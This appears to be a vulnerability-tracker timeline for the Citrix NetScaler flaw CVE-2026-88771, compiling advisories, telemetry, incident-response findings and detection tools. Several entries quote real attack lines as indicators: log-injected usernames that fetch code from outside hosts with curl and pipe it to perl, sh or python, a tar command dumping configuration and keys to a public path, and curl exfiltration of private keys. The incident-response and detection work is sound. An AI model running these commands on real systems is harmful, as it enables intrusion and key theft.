- Type
- Improper input validation; unauthenticated remote command execution. [1]
- Mechanics (Zscaler)
- Staged two-step chain: the attacker parks a base64 payload in the HTTP access log via an INDEX:<base64> User-Agent, then sends a login request whose username imitates a pitboss PPE failure so ns_monuploadd_err.pl runs a grep-and-decode trigger that pulls the staged payload out of the logs and executes it. Captured payloads wrote Nx_<n> fingerprint, PHP and Perl-CGI webshells (captured examples use Nx_7508 and Nx_5936; the number varies per payload) and enabled php_engine and Perl CGI in /etc/httpd.conf. An inline variant downloaded a Rust-based FreeBSD implant (kw2-freebsd-x64-s11) from infrastructure that also served StyleSmuggler (CVE-2026-75650) payloads. [83]
- Exposure
- Affects the DEFAULT configuration; no features need to be enabled. [1]
- Root cause (CERT-EU)
- /netscaler/ns_monuploadd_err.pl passes unsanitised input to grep+exec; a tail -1 race condition is also involved. [56]
- Status
- Exploited in the wild; in CISA KEV since Sep 27. [1][16]
CVE-2026-88771: Citrix NetScaler unauthenticated remote code execution
CVE-2026-88771 is a Citrix NetScaler ADC and Gateway vulnerability: unauthenticated remote code execution, rated CVSS 4.0 9.5 Critical. It was exploited in the wild as a zero-day before Citrix disclosed it on 27 September 2026. [1][16]
- CVE
- CVE-2026-88771
- Product
- Citrix NetScaler ADC and NetScaler Gateway
- Bulletin
- CTX697096 [1]
- Severity
- CVSS 4.0: 9.5 Critical
- Exploitation
- Exploited in the wild
- CISA KEV
- Yes, added 27 Sep 2026, federal deadline 30 Sep 2026 [50][30]
- Disclosed
- Fixed builds
- 14.1-73.37, 13.1-64.23 and FIPS/NDcPP builds
CVE-2026-88771 vulnerability records
Official records for CVE-2026-88771, checked on 30 September 2026. The CVE record was published by the CNA (NetScaler) at 2026-09-27 16:02 UTC.
| CVSS 4.0 vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
|---|---|
| Weakness (NVD) | CWE-20 |
| NVD status | Analyzed |
| EUVD ID | EUVD-2026-87958 |
CVE-2026-88771 timeline
- Research
eSentire: CVE-2026-88771 exploited as early as 5 September
eSentire TRU incident response saw exploitation of Internet-facing NetScaler Gateways from 5 Sep, more than three weeks before disclosure: base64 PHP staged in the access log via fake /vpn/media/*.ico requests, then executed through a crafted login username. In one intrusion a .deb-variant webshell was installed and operated from 5 Sep, with signs of data exfiltration and lateral movement to internal virtual desktops and back to the appliance over SSH.
Sources: [98]
- Official advisory Validated
CVE IDs reserved
NetScaler reserves CVE-2026-88771 and CVE-2026-88772 at 07:14 UTC. The records were published on 27 Sep at 16:02 and 16:09 UTC.
Validated against the CVE record on 29 Sep.
- Research
Unit 42: three-stage CVE-2026-88771 chain drops a PHP webshell
77.83.199.39, 78.47.24.217 and 139.180.152.138 staged a Base64 dropper in the User-Agent (logged to httpaccess-vpn.log), poisoned ns.log with a fake pitboss heartbeat message, and had ns_monuploadd_err.pl -WR decode and run it, installing the .ctxs.receiver webshell at a US target.
Sources: [153]
- Telemetry
GreyNoise sensors see exploitation from a single IP
149.104.78.141: 3 sessions 07:32:19-07:32:20 UTC. IP flagged "suspicious" (Citrix ADC Gateway Login Panel Crawler), then "malicious" (Generic ${IFS} Use in RCE Attempt; CitrixBleed 2 attempt). Later retro-tagged as CVE-2026-88771. GreyNoise's retro-hunt found no other exploitation sessions before disclosure - this covers GreyNoise sensors only.
- Official advisory
Public disclosure; Citrix publishes CTX697096 with fixes
Disclosure time per GreyNoise. The bulletin covers 8 CVEs. watchTowr notes the patch it analysed was dated 24 Sep, suggesting Citrix knew of the exploitation the week before.
- Official advisory
Citrix announces the bulletin on r/Citrix
A Citrix staff account (CTX-Michael) posts a CRITICAL UPDATE in r/Citrix linking the CTX697096 bulletin and the Citrix community blog post with its IoC section, and quoting that exploitation of CVE-2026-88771 and CVE-2026-88772 on unmitigated deployments has been observed.
- Telemetry
GreyNoise deploys CVE-specific tag
Tag deployed 20:28:39 UTC; the 24 Sep sessions are retro-tagged as CVE-2026-88771.
- Official advisory Validated
CISA adds CVE-2026-88771 and CVE-2026-88772 to KEV
Both were added on 27 Sep with a federal remediation deadline of 30 Sep. The 21:30 UTC release time comes from the compiled dataset and was not found in the sources checked.
Dates validated against the KEV catalog feed on 29 Sep.
- Reported observation
Beaumont: three CVEs chained, webshells all September
The primary vulns being exploited are CVE-2026-88771, CVE-2026-88772, CVE-2026-88773 chained. It gives unauth RCE in default appliance config. Attackers using it to drop webshells all month of September. Probably nation state aligned
Beaumont's claim; attribution not independently verified.
Sources: [117]
- Research
CERT-EU technical writeup on CVE-2026-88771
"Taking 'execute logging' a bit too literally" - root cause, attack chain and hunting guidance.
Sources: [56]
- Telemetry
GreyNoise publishes TLP:CLEAR IoC set
"Swarming Against Citrix 0-Day Exploitation" - the first public IoC set in this compiled dataset as of 29 Sep, with a companion Chronicle timeline.
- Research
watchTowr Labs part 1 (CVE-2026-88771)
"Oh Look, the Foot Gun Went Off Again", published with a Detection Artefact Generator (PoC-class tool).
- Telemetry
Censys and Shadowserver count exposed NetScalers
Censys detects NetScaler ADC or Gateway on 42,735 hosts and 323,527 web properties; these are exposed instances, not confirmed-vulnerable counts. Shadowserver reports more than 20,000 instances exposed and potentially at risk.
- Telemetry
Lupovis honeypots see exploitation minutes after the public PoC
Lupovis says its sensors recorded live CVE-2026-88771 exploitation attempts within minutes of watchTowr releasing its PoC; the attempts were opportunistic, from several distinct actors.
- Research
First public detection rules
Elastic merges a rule for NetScaler log-poisoning command injection; Corelight publishes Zeek hunting queries. Sigma and Nuclei pull requests follow (28-29 Sep, still unmerged at snapshot time).
- Research
Martin's Blog: two build-diff analyses - CVE-2026-88771 source-to-shell path in ns_monuploadd_err.pl; CVE-2026-88772 missing cumulative DTLS bound
Two independent reverse-engineering posts at mac.sploit.dk compare the 14.1-73.30 and 73.37 vendor artifacts (archive and binary hashes published; no exploit run, static analysis plus controlled lab only). CVE-2026-88771 post: on 73.30, /netscaler/ns_monuploadd_err.pl -WR greps ns.log/ns.log.0/messages for pitboss "missed too many heartbeats|unexpectedly died" lines, takes everything after the final NSPPE token as a core-file name via an unquoted tail|sed|awk pipeline, and interpolates it into a Perl backtick - a shell sink. A failed management POST /login/do_login writes the attacker username verbatim into ns.log (HTTP 303, storage primitive only). With a harmless touch-canary username, command execution was demonstrated in the lab when the script was explicitly invoked with -WR from an authorised root shell (exit 100, canary file created); three genuine NSPPE recovery tests (SIGKILL, SIGABRT, SIGSTOP through the heartbeat threshold) produced zero observed -WR invocations, so the automatic trigger remains unproven and the author keeps attempt and execution strictly separate. The 73.37 repair replaces the permissive parser with a strict NSPPE-<nn> (PID) regex, list-form open (no shell) for find, and a path-character allowlist; the same input is inert on 73.37. The post publishes detection guidance with confidence levels (parser-shaped username = high-confidence attempt; shell syntax or /var/log/htt|b64decode|LogonPoint/custom references = very high; -WR activation or descendant shell = execution evidence), a Python offline scanner, a Sigma rule and Splunk correlation. It also hashes the vulnerable 73.30 script fb7f574a... and the fixed 73.37 script 02b24a99... - the former matching the Poppelgaard checker's vulnerable-copy check. CVE-2026-88772 post: the DTLS copy routine in nsppe 73.30 (sub_1434A80, dispatch through DTLS method tables carrying 0xfeff/0xfefd version values) copies a header plus a linked buffer chain into a 0x8c00-byte scratch buffer with no cumulative bound; 73.37 adds a countdown check that rejects an element before the copy when remaining capacity is exceeded (error 0x32 path). The arithmetic matches watchTowr's 173,665-byte test case against the 35,840-byte destination. The post flags an easy-to-miss exposure detail: the bulletin also covers virtual servers configured with type DTLS (including load-balancing vservers), not only VPN vservers with DTLS on by default - checking only VPN configs can leave an affected service out of the inventory. The watchTowr detection-artifact-generator program is inspected, not run, and the author warns it contains ROP chains and arbitrary-write code - lab only.
- Research
Nextron releases THOR rules and a NetScaler filesystem IoC set
Three rules in the THOR Preview channel (higher false-positive rate than stable rules) plus a YAML IoC set derived from the filesystem checks in Citrix's scanner script. A match is a lead, not proof.
Sources: [71]
- Research
eSentire publishes first-hand IR findings and IoCs
Two webshell variants (.ico and .deb), 14 IPs and 2 SHA-256 hashes; the technique matches CERT-EU's description. eSentire advises treating appliances that were Internet-facing and unpatched in early September as potentially compromised until an integrity assessment shows otherwise.
Sources: [98]
- Telemetry
Defused: hundreds of decoy hits across multiple exploit paths
Defused reports hundreds of CVE-2026-88771 hits on its decoys in 24 hours via /nf/auth/doAuthentication.do, /cgi/login, /p/u/doLogon.do, /logon/LogonPoint/tmindex.html and User-Agent payloads on /. Observed follow-up: whoami/id to prove root, nx_verify.html marker files, curl/wget/fetch pulling a second stage, and blind DNS callbacks. Full IoCs are on Defused Radar (not reproduced here).
Sources: [115]
- Official advisory
CERT-FR updates its alert with GTIG indicators
The update relays the GTIG/Mandiant indicators and YARA rules, which ANSSI says it has not qualified, and the two patterns GTIG calls characteristic of successful exploitation: a DTLS handshake-failure line in syslog, and a pitboss NOT restarting NSPPE line in /var/log/messages. CERT-FR also says it knows of public proof-of-concept code for CVE-2026-88771 (noted 28 Sep) and for CVE-2026-88772.
Sources: [22]
- Research
TENEX traces a Platypus C2 chain from the injected login
From malicious login requests TENEX followed four rotating staging hosts to a shell loader that enrols the off-the-shelf Platypus agent from entretiensol.com, then mapped a four-node C2 cluster through one shared TLS certificate. It also recovered the Python (customsnmpd reverse shell) and Perl (sec_monitor, .local_journal webshell, SUID /bin/sh, config theft) stages, and saw a separate loud wave of commodity payloads after the public PoC. TENEX does not name an actor and says logs show attempts, not confirmed execution.
Sources: [74]
- Official advisory
Citrix updates its community bulletin
Last updated 30 Sep. It adds: a known issue where 13.1-64.23 can enter a reboot loop during upgrade if show ns variable lists variables (use 13.1-64.24); a Console Security Advisory scan that may wrongly flag 13.1-64.23 as vulnerable until the next automatic advisory update; a note that NetScaler VPX 15.1 Technology Preview is also vulnerable, is not permitted in production, and a fix will follow; and that samlRejectUnsignedAssertion OFF is no longer supported and is converted to the secure default on upgrade. For suspected compromise Citrix recommends deploying a new, updated instance rather than relying on the update, forwarding logs to an external SIEM, and using Console File Integrity Monitoring.
Sources: [13]
- Research
Arctic Wolf publishes follow-up exploitation IoCs and the nsmon.pl implant
Commands fetched Python, Perl and shell scripts, opened reverse shells and sent Base64 command output over HTTP. The 3,752-byte Perl script nsmon.pl installs under /var/tmp/.nsmon, attempts to add a root cron entry every five minutes, attempts to listen on a port in 41000-41999 and begins a UDP or TCP check-in. These are attempts in the visible code, not proven persistence. Arctic Wolf also shows the injected username as it appears in AAA, AAATM and SSLVPN appliance logs.
Sources: [72]
- Official advisory Deadline - upcoming
Deadline: CISA KEV federal remediation
Both CVEs were added to KEV on 27 Sep with a due date of 30 Sep, giving US federal agencies three days. The required action is to apply Citrix mitigations under BOD 26-04 and CISA's Forensics Triage Requirements, or stop using the product if mitigations are unavailable; the KEV notes say customers must conduct forensic triage. The KEV entry gives a date only (2026-09-30), no time of day. CISA's directive deadlines are conventionally 11:59 PM U.S. Eastern (23:59 EDT, 03:59 UTC on 1 Oct), and third-party KEV trackers treat the due date the same way, but CISA publishes no official time for KEV due dates - so the deadline was passed by 1 Oct 04:00 UTC at the latest. A deadline, not an event.
- Research
Poppelgaard checker v1.9 adds public indicators
Release 1.9 of the free, read-only CTX697096 checker script adds, among others, Arctic Wolf's nsmon.pl implant, the Unit 42 .deb webshell and more attacker IPs, and tags each attack line as before or after the fix. Its author says a clean result is not proof of a clean appliance.
Sources: [75]
- Research
Analysis: "NetScaler Needs More Than Another Patch" - the case against treating each emergency as the fix
A long-form analysis by "Martin" (mac.sploit.dk, 08:00 CEST, opinion; the site's about page says only that the author has "spent a long time working in cybersecurity") argues that the recurring emergency-patch cycle is the wrong frame. Its claims, each with stated boundaries: NetScaler 14.1 runs a vendor-modified FreeBSD 11.4 base (upstream EOL since September 2021); of 107 examined executables under /netscaler, 106 lack PIE and only one has RELRO (from the author's earlier lab assessment of build 73.30, not evidence of an internet-reachable path); most packet and control-plane services observed ran as root with no visible privilege drop, and the author reports a locally demonstrated authentication failure in the privileged configuration service. It reads Citrix's 1 October NetScaler 15.1-9.30 Tech Preview (FreeBSD to Linux, BLX/DPDK data plane, ASLR, SELinux auditing, Yama, faster third-party patching) as promising platform work that does not fix NetScaler's own application-layer bugs, and notes it is a days-old vendor-described preview, not independently tested. Also notes CVE-2026-88771 was a root Perl script passing failed-login text to a shell via backticks - command construction, not memory corruption - so memory-safety roadmaps alone would not have stopped it. Renewal-meeting checklist included (SBOM, privilege separation evidence, mitigation settings, session-kill guidance, ZTNA off-ramp). All vendor bulletins it cites are already on this page.
Sources: [62]
- Official advisory
Citrix releases a new responder policy via Support (3 October); not yet in Citrix's public post
Citrix has released a new responder policy as a mitigation for the SAML issue, distributed through Citrix Support on 3 October. The Poppelgaard checker README describes it and recognises it by behaviour on the appliance: any responder policy whose rule mentions samlauth or doAuthentication, bound to a Gateway/AAA vserver or globally, alongside Citrix's earlier RSP_POL_DROP and community Gotham policies. Citrix's public SAML post does not mention the policy yet and its text has not been published; distribution is through Support (under NDA), which matches Beaumont's reports of a responder policy shared through Support ("the policy citrix gave out doesn't work for me" on Oct 2, "the Citrix support mitigations don't appear to work" on Oct 3). The checker reminds admins to ask Citrix Support for the new policy and verifies whether it is bound - and flags a [CHECK] state where a policy is bound but the Responder feature is disabled, which silently ignores it.
- Research
FreeBSD Sliver C2 implant tied to pylrk.cc delivery: independent malware analysis (TLP:CLEAR), corroborated by Expel IR
A TLP:CLEAR malware analysis report dated 2 October ties the two 2 October threads together: the payload served at f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host is a Sliver C2 implant cross-compiled for FreeBSD - the operating system under NetScaler - built specifically for these appliances. Statically linked stripped Go ELF64, 8,822,784 bytes. Static strings (sample not executed): hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 with tunnel/reverse-shell capability (consistent with the netcat-style callbacks Expel described in this campaign), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP - C2 resolves via DNS to pylrk.cc. VirusTotal: 31 of 75 engines, all Sliver/Vilers labels; first submitted 2 Oct 11:49 UTC; recorded filenames /var/tmp/.host, /private/var/tmp/.host and citrix3.bad (appliance paths). Corroboration: an Expel IR observation of exploitation against a NetScaler Gateway in late Sep-early Oct. This connects the pylrk.cc delivery domain to actual malware, and distinguishes this FreeBSD implant from the Perl webshell hosted on 213.209.159.55 (a separate, weaker-signal payload). The report is vendor-independent: no vendor or CERT has published on it. IoCs are on this page's IoC list.
- Research
Martin's Blog: candidate mechanism for the nsaaad SAML crash - 16-entry unterminated PrefixList array, canary read as string pointer, SIGBUS in strlen
A reverse-engineering post at mac.sploit.dk (3 Oct, updated 4 Oct after CTX697174 assigned CVE-2026-88779) proposes a candidate mechanism for the nsaaad crash, with stated boundaries. In build 14.1-73.30, a routine identified by embedded source strings as canonicalize_data (at 0x429750) puts namespace-prefix pointers into a sixteen-entry stack array at rbp-0xb0; the saved stack canary sits at rbp-0x30, exactly 16 pointers later. The code accepts sixteen space-separated InclusiveNamespaces PrefixList entries but the consuming diagnostic loop walks the array until a NULL sentinel - and with exactly sixteen entries there is no room for one, so the next load reads the saved canary and treats it as a string pointer. A controlled test against a disposable host-only 14.1-73.30 appliance (no AAA licence, so the daemon was driven over guest loopback at the internal message boundary, not through a network-facing Gateway) showed: 15 entries canonicalize successfully, 17 entries are rejected cleanly, and exactly 16 kill nsaaad with SIGBUS in strlen, exit status 0x8a, one Pitboss restart, and a core whose frame shows the canary value 0x94c4ee494769e33 as the failing strlen argument. Static analysis puts both the SAML SP and IdP parser paths through nsppe (byte-length limited to under 0x201 bytes but no limit on entry count) into the same canonicalization request, supporting an unauthenticated path subject to parser acceptance. Binary comparison: the 73.30 and 73.37 nsaaad files differ in only 70 bytes, all inside the vendor .ns_sig section - byte-identical with it removed - so the September CTX697096 fix did not change this routine; the bundled libxml2 is also identical. Stated gaps: no external network-path reproduction (licence limitation), no comparison with the fixed 73.41 build (so the CVE-2026-88779 mapping is evidence-supported but not build-confirmed), and no local result for restart exhaustion, reboot, code execution or persistence; the author also notes Citrix calls the issue a memory overflow while the demonstrated failure is an out-of-bounds pointer read without canary overwrite. The post keeps the command-bearing username record assigned to CVE-2026-88771, not this crash. The nsppe/nsssaaad hashes used are published in the post for reproduction. The mechanism matches the oversized-InclusiveNamespaces-PrefixList crash detail Beazley reported on 4 Oct from incident response - two independent sources now point at the same operation, from reverse engineering and from IR respectively.
- Official advisory
ACSC update: the new SAML issue affects Australian organisations; "crashes, denial of service and potential exploitation"
ASD's Australian Cyber Security Centre adds an "Update 3 October 2026" section to its alert: Citrix has published guidance about a newly identified issue affecting NetScaler deployments that use SAML authentication; a remote attacker exploiting the issue may induce system crashes, denial of service and potential exploitation; and ASD's ACSC is aware of impacts to Australian organisations. It advises organisations using NetScaler SAML authentication to review their configurations, monitor for unusual activity, follow Citrix's advice, contact Citrix support if impacted, and report to ACSC. It states the issue is understood to be separate from CVE-2026-88771 and CVE-2026-88772. This is the first government confirmation of impact from the new SAML issue, and it stops short of the September-patch-bypass claim: awareness of impacts is not the same as a confirmed bypass of 14.1-73.37. Alert first published 28 Sep, page last updated 3 Oct.
- Official advisory
CISA adds CVE-2026-88779 to KEV - third exploited NetScaler CVE; federal deadline 7 Oct
CISA adds CVE-2026-88779 to the Known Exploited Vulnerabilities catalog (catalog version 2026.10.04, released 18:52 UTC), its third NetScaler entry of this campaign after CVE-2026-88771 and CVE-2026-88772 (both 27 Sep). CWE-119, due date 7 Oct 2026, required action: apply mitigations per vendor instructions under BOD 26-04 and CISA's Forensics Triage Requirements (forensicTriage = Yes), or discontinue use of the product if mitigations are unavailable; ransomware use Unknown. The KEV addition confirms the vulnerability is exploited, consistent with the "observed targeted attacks" wording relayed by Tenable.
- Research
Beazley Update 6: 88779 used to force reboots that re-arm the log injection - but 27 Sep patches stop it running; nsaaad crash mechanism detailed
Beazley Security's BSL-A1216 Update 6 (4 Oct) describes the mechanism behind the 4 Oct wave from its incident-response work: attackers attempt to use CVE-2026-88779 to force appliance reboots on hosts that already contain an injected pitboss message, so that after reboot the CVE-2026-88771 maintenance script ns_monuploadd_err.pl reads the injected line and executes the embedded command as root. Key finding: appliances patched on 27 September no longer execute the injected commands, and Beazley has found no evidence of code execution on patched systems - contradicts the earlier fear that the September fixes were fully bypassed. Technical detail for CVE-2026-88779: the crash occurs while nsaaad processes the SAML signature canonicalization settings, specifically an oversized InclusiveNamespaces PrefixList. Timing note carried over from watchTowr and Beazley: ns_monuploadd_err.pl runs periodically, potentially within 24 hours, so code execution can lag well behind the malicious request. The same update adds three exploit-delivery IPs (104.207.47.54, 104.207.46.202, 104.207.32.77), the Sliver download script hash (c2f5532f...) and the second-wave log payloads to the advisory's IoC tables; all are on this page's IoC list.
Sources: [76]
- Research
Checker v1.13 + Gotham 5 Oct update: 88779 attacker IP, Huntback.io decoys, pre-disclosure /saml/login sources, SAML probe hunting, "did it run?" shell-log check
Poppelgaard's checker reaches v1.13 (105 attacker IPs, 15 domains, 34 hashes) in two steps, with third-party indicators carried from their public sources. Gotham Technology Group's 5 October update (shared with permission) adds 138.199.60.5 as an attacker IP - it sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October - plus a yellow hunting lead for the 138.199.60.0/24 hosting/VPN range used throughout the SAML attack, and four sources that sent GET /saml/login before disclosure (38.60.206.53, 38.60.212.144, 149.102.254.17, 130.94.19.84). Checker v1.13 (b159493, later refined in 81c7834) adds five Huntback.io decoy IPs that sent the CVE-2026-88771 nx_verify.html injection check (138.199.60.22, 138.199.60.36, 146.70.199.170, 146.70.211.157, 23.162.8.173), randomly named *.receiver webshells in the web folders as a compromise signal (Huntback.io), a Lupovis hunting lead - User-Agent probe/1 with a ~2.8 KB SAMLRequest inflating to 62 KiB, seen on 17 September, before CVE-2026-88779 was public - and Sliver implant file checks: citrix3.bad is reported as compromise, an executable /var/tmp/.host as compromise, any other /var/tmp/.host only as a [CHECK] so a harmless file never turns red on its own. New "did it run?" check (idea from Patrick Wagner's gerGEIGER log analysis in Manuel Winkel's (Deyda) triage script; own implementation): for each login-injection attempt it shows the download hosts named in the payloads (defanged, for firewall/DNS/proxy-log searches), the likely source IP (a Client_ip field in the line, or logon requests in the HTTP access logs within 5 seconds of the attempt, with ns.log timezone differences detected automatically), and whether the payload shows up in a shell command in sh.log, bash.log or CLI shell_command lines - reported as compromise; an admin's grep or cat does not count, and the checker says when the shell logs do not reach back to the first attempt. Fewer false alarms: configuration commands such as add ns acl and bind policy patset lines after applying a mitigation batch are no longer attack lines (failed NITRO/API logins still count, because the injection can sit in the user name), and links alone in a custom theme's resources/*.xml and plugins.xml are no longer red because both hold links by design - script tags, eval and fetch are still reported. A webshell hit now also says that upgrading does not remove a webshell dropped before the upgrade. All new indicators are on this page's IoC list with per-indicator caveats.
Sources: [75]
- Research
Checker v1.14: config/SSL-key theft payload - ns.conf + all private keys dumped to a random .css, exfil to 81.94.239.8:8877; verdict line for compromised boxes
Poppelgaard's checker reaches v1.14 (106 attacker IPs, 15 domains, 34 hashes) with a config-and-key-theft payload seen in the field: it writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (example 74tns8.css), sends that file with curl --data-binary to 81.94.239.8:8877, and the attacker then downloads the .css from the Gateway - if it worked, the attacker has the configuration and every private key. New checks: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is reported as compromise with advice to rotate all keys, certificates and passwords; GET requests for a random 6-character .css directly in LogonPoint are listed with source IP, where HTTP 404 means the dump never landed and HTTP 200 means the file existed and was downloaded (compromise); curl --data-binary @<file> and :8877/ are new exploit strings; 81.94.239.8 added as an attacker IP (single third-party field report, unverified - DEAC Hosting, Latvia; VirusTotal 1 of 92). A new final verdict line reports "VERDICT: COMPROMISED - follow CTX694799" (fixed build) or "COMPROMISED and VULNERABLE - follow CTX694799 first" with exit code 2, replacing the old "follow-up items"/"upgrade now" wording that risked wiping evidence. Community pull requests #4/#5 (feiglein74) add: any .php/.phtml under /var/netscaler/logon and /var/vpn, one-line webshells calling a request parameter as a function, PHP files the Apache error log shows running or that still exist (with first and last dates), setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home and /root, files dropped in the web folders that were downloaded with HTTP 200, and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd (possibly 2023 leftovers; check file dates). A payload writing to a file every appliance has (e.g. /etc/httpd.conf) no longer counts as "the command ran". The release repeats the standing advice: block outbound NetScaler (NSIP/SNIP) traffic to the internet except what it needs - this payload, like the f.pylrk.cc downloads, only works if the appliance can reach the attacker's server.
Sources: [75]
- Research
eSentire TRU maps four exploitation clusters: pre-disclosure webshell, Platypus ~24h post-disclosure, watchTowr-PoC Perl installer, Python reverse shell
eSentire's TRU publishes first-hand cluster analysis of CVE-2026-88771 intrusions it responded to, with hashes and timing. Cluster A (pre-disclosure, early September): a lightweight PHP webshell disguised as nsgtrust.deb among legitimate .deb files in /var/netscaler/gui/vpn/scripts/linux/ - hash 7add390c..., nearly identical to GTIG's "lightweight installer" family; executes code via the HTTP_NSC_CLIENTTYPE header, hijacks the .ico handler in httpd.conf, sets php_flag engine on, sets SUID on /bin/sh, and modifies crontab to remove its own installation artifacts; executed in early September per the compromised host's Apache access logs. Cluster B (3 customers, 28 Sep 16:20-22:41 UTC, ~24 hours post-disclosure): used the legitimate fleet-management tool Platypus for post-compromise activity - curl -k http://62.133.62.80:80/xd7h/x > /.x ; sh /.x fetched a Platypus-server-generated stager (57f9f30c...) that ran a bootstrap script (927c7fbe...), which downloaded the agent from https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest), set PLATYPUS_INSTALL_TOKEN=plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj, and enrolled against entretiensol.com:443 (freebsd/amd64 agent hash c98aee75..., unpacked Go; the Linux build was UPX-packed); eSentire notes public reporting associates Platypus with China-nexus actors (Lumen/Black Lotus), and the enrollment command matches the project's own documented installer nearly verbatim. Cluster C (4 customers, 29 Sep 00:52-08:25 UTC, ~36h post-disclosure): used watchTowr's public PoC (published 28 Sep) verbatim - pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X - the Perl installer declares superuser credentials, creates a backdoor NetScaler local superuser by rewriting /flash/nsconfig/ns.conf (removing existing account lines first, including other actors'), tar-archives /flash/nsconfig and exfiltrates it to the same server via curl with wget fallback, deletes itself and the archive, sets setuid+setgid on /bin/sh, writes a Base64-decoded password-protected PHP webshell to /var/netscaler/logon/LogonPoint/.local_journal (placeholder replaced with the SHA-256 of the attacker-chosen password), adds an application/x-httpd-php handler for .local_journal plus Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css and AliasMatch ^/logon/LogonPoint/css/LogonUISimple.html.style.min.[0-9a-f]+.css$ to /etc/httpd.conf, turns the PHP engine on, reloads Apache with kill -HUP, and prints the webshell URL and password; the script contains LLM-style comments, suggesting AI was used to generate it, and the CSS alias makes webshell requests look like benign CSS fetches in Apache logs. Cluster D (1 customer, 29 Sep 11:20 UTC, watchTowr PoC): curl -o /var/1.py http://23.27.143.20:9000/main.py;python /var/1.py - the installer writes a Python reverse shell to C2 45.141.21.130 (ASN 214961, Stellar Group SAS) into /var/python/bin/customsnmpd, kills any running customsnmpd, and how the shell is started is unclear (likely a separate exploit command). TRU isolated the affected hosts proactively. The hashes and paths were mostly already on this site's IoC list from Arctic Wolf, LevelBlue and TENEX reporting; this blog adds the filename nsgtrust.deb, exact cluster timing, the stager/bootstrap chain hashes (57f9f30c.../927c7fbe...), the artifact-cleanup detail, and the LLM-comment observation. Key lesson per TRU: exploitation resumed within roughly 24 hours of disclosure, so patch windows are hours, not weeks.
- Research
Rapid7 MDR: earliest exploitation 20 Sep by 149.104.78.208 - config/keys archived to the web-served /vpn/c; two organisations compromised
Rapid7's ETR blog (updated 6 Oct) details what its MDR observed: the earliest CVE-2026-88771 exploitation attempt in its telemetry was 20 September 2026 14:28:43 UTC from 149.104.78.208 - only two attempts that day, not yet widespread. The injected username (a fake pitboss "missed too many heartbeats" line) ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, which archives /flash/nsconfig into the publicly served /var/netscaler/gui/vpn/ folder: ns.conf (encrypted nsroot and admin passwords, LDAP/RADIUS/TACACS bind passwords), the ssl/ directory (certificates and private keys), SSH host keys and license files. Once the command runs, any unauthenticated GET https://<gateway>/vpn/c returns the archive with no login. Rapid7 identifies two organisations compromised through CVE-2026-88771: this command injection, and a .ctxs.receiver webshell at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (SHA-256 ed082f74..., observed 24 September - the same sample IFIN relayed from Reddit, now vendor-confirmed). The checker v1.11 carried 149.104.78.208 with a Rapid7 attribution and the /vpn/c tar detail; the tar archive /vpn/c is already a compromise check in the checker (HTTP 200 on /vpn/c = the config archive was likely downloaded). Also in this update: the 6-crash-then-reboot behaviour of CVE-2026-88779 and the October content-release checks. All indicators are on this page's IoC list.
- Research
watchTowr publishes honeypot post-exploitation analysis and a public IoC repository for CVE-2026-88771
From thousands of exploitation attempts captured on real NetScaler sensor appliances, watchTowr details: (1) PoC-class probes writing id output to /var/tmp (wtw888, cve88771, cve88771_round2) and to web-served paths; (2) a compiled Sliver C2 implant staged to /var/vpn/ns_helper with a 60-second beacon and a hardcoded Chrome-on-Linux User-Agent; (3) attackers re-using the publicly documented .ctxs.receiver webshell by hunting for its leaked CsrfToken password; (4) a trojanized, statically linked Dropbear SSH 2025.88 build listening on tcp/37512 with a hardcoded password support1 and an embedded RSA-2048 key - effective only where the port is exposed via ns.conf; (5) a Perl stager (update_c08937.pl) minting a gw_health superuser in /flash/nsconfig/ns.conf and dropping a password-keyed PHP webshell to LogonPoint/.local_journal behind a LogonUISimple.html.style.min.<hex>.css alias - which fails in the default configuration because nsppe strips the Set-Cookie header the shell needs for its session; and (6) a spray-and-pray operator planting SSH keys in /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, spraying webshells across 14 directories and exfiltrating secrets including LLM API keys (OPENAI, ANTHROPIC, GEMINI and CLAUDE environment variables). watchTowr also claims that a process crash via CVE-2026-88772 or CVE-2026-88779 triggers a warm reload that executes the last poisoned log line instantly - watchTowr's own claim, consistent in mechanism with the Beazley 4 Oct reboot analysis but not vendor-confirmed, and on builds patched since 27 Sep the fixed ns_monuploadd_err.pl no longer executes injected lines. watchTowr advises capturing volatile forensics before restart, patch or re-imaging. Its IoC repository adds 47 source IPs, OOB callback domains, the backdoor account and five hashes.
- Official advisory
NVD publishes CVE-2026-107406 (status Received, later Awaiting Analysis); not in CISA KEV
NVD received the CVE-2026-107406 record at 22:17 UTC with the CNA (NetScaler) description and the CVSS v4.0 9.5 Critical score carried as Secondary; NVD analysis has not started (status moved to Awaiting Analysis on 10 Oct, last modified 10 Oct 04:18 UTC). The CISA KEV catalog (version 2026.10.08, released 20:09 UTC the same day) does not contain CVE-2026-107406 - re-checked against catalogs through 2026.10.13 on 14 Oct - and no exploitation has been publicly confirmed. Per secondary coverage of Citrix's customer guidance, Citrix says it is not aware of any unmitigated exploits of this vulnerability.
- Research
Poppelgaard checker v1.15 and v1.16: WHIPSHOT/SLAPSHOT scan detection, log-reflection technique, SOCRadar "NetScaler C2" agent, CVE-2026-107406 IdP/SP check
